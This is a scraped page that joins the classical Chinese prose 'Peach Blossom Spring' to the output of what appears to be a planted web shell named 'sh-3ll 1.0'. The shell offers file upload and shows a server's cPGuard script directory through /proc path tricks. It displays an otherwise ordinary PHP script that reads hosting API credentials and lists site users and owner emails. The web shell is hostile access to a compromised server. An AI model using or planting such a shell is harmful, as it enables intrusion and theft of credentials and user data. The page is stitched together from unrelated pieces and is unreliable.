晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 sh-3ll

HOME


sh-3ll 1.0
DIR:/proc/self/root/proc/thread-self/root/opt/cpguard/app/scripts/
Upload File :
Current File : //proc/self/root/proc/thread-self/root/opt/cpguard/app/scripts/enhance_user_list.php
#!/opt/cpguard/cpg-php-fpm/bin/php
<?php

## DO NOT CUSTOMISE THIS FILE
## This file may be updated during software update
## Please make a copy of the file for customising it


ini_set("display_errors", false);

/* ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL); */

$conf = parse_ini_file('/opt/cpguard/app/scripts/enhance.ini');
if (empty($conf['host']) || empty($conf['organisation_id']) || empty($conf['auth_token'])) {
    die("API values missing");
}

$hostname = gethostname();
$public_ips = get_public_ips();


if (empty($conf['server_id']) || $conf['expiry'] ?? 0 < time()) {
    $servers = enhance_get('servers');
    foreach ($servers->items as $server) {

        foreach ($server->ips as $ip) {
            if (in_array($ip->ip, $public_ips)) {
                $conf['server_id'] = $server->id;
                $conf['expiry'] = time() + 43200;
                save_ini('/opt/cpguard/app/scripts/enhance.ini', $conf);
                break;
            }
        }

        if ($server->hostname === $hostname || $server->friendlyName === $hostname) {
            $conf['server_id'] = $server->id;
            $conf['expiry'] = time() + 43200;
            save_ini('/opt/cpguard/app/scripts/enhance.ini', $conf);
            break;

        }
    }
}


if (!isset($conf['server_id'])) { //Cannot proceed
    die("Couldnt identify Server ID");
}

$user_list = [];
$websites = enhance_get('orgs/' . $conf['organisation_id'] . '/websites?recursion=infinite&servers=' . $conf['server_id']);

$temp_list = [];
foreach ($websites->items as $website) {

    $docroot = "/var/www/" . $website->id . '/' . $website->domain->documentRoot;
    if (is_dir($docroot)) {

        $user = @posix_getpwuid(@fileowner($docroot))['name'] ?? '';
        if (!in_array($user, $temp_list)) {
            $temp_list[] = $user;
            $org_details = enhance_get('orgs/' . $website->orgId);

            $user_list[] = [
                'user' => $user,
                'email' => $org_details->ownerEmail
            ];
        }
    }
}

echo json_encode($user_list, JSON_PRETTY_PRINT);









function save_ini($filename, $data)
{
    $content = '';
    foreach ($data as $key => $value) {
        $content .= ($key . ' = ' . $value . PHP_EOL);
    }
    file_put_contents($filename, $content);
}

function get_public_ips()
{
    if (file_exists('/etc/os-release')) {
        //centos 7
        $ips = shell_exec("/sbin/ifconfig | /bin/grep 'inet '| /bin/grep  -v '127.0.0.1'  |  /usr/bin/cut -d: -f2 | /usr/bin/awk '{ print $2}' | /bin/grep -Ev '^(192.168|10\.|172\.1[6789]\.|172\.2[0-9]\.|172\.3[01]\.)'");
    } else {
        //centos 6
        $ips = shell_exec("/sbin/ifconfig  | /bin/grep 'inet addr:'| /bin/grep  -v '127.0.0.1' | /usr/bin/cut -d: -f2 | /usr/bin/awk '{ print $1}' | /bin/grep -Ev '^(192.168|10\.|172\.1[6789]\.|172\.2[0-9]\.|172\.3[01]\.)'");
    }

    return array_unique(explode("\n", trim(is_string($ips)) ? $ips : ''));
}
function enhance_get($query)
{

    global $conf; //$host, $organisation_id, $auth_token;

    /* Init cURL resource */
    $ch = curl_init($conf['host'] . '/api/' . $query);

    /* Set Headers */
    curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type:application/json', "Authorization: Bearer " . $conf['auth_token']]);

    /* set return type json */
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

    /* execute request */
    $result = curl_exec($ch);

    if ($error = curl_error($ch) || curl_getinfo($ch, CURLINFO_HTTP_CODE) != 200) {
        die("Enhance API error for $query : $error\n");
        return false;
    }

    /* close cURL resource */
    curl_close($ch);

    $json = json_decode($result);

    if (is_object($json)) {
        return $json;
    } else {
        var_dump($result);
        die("Invalid Enhance API response for $query.. Exiting..\n");
    }
}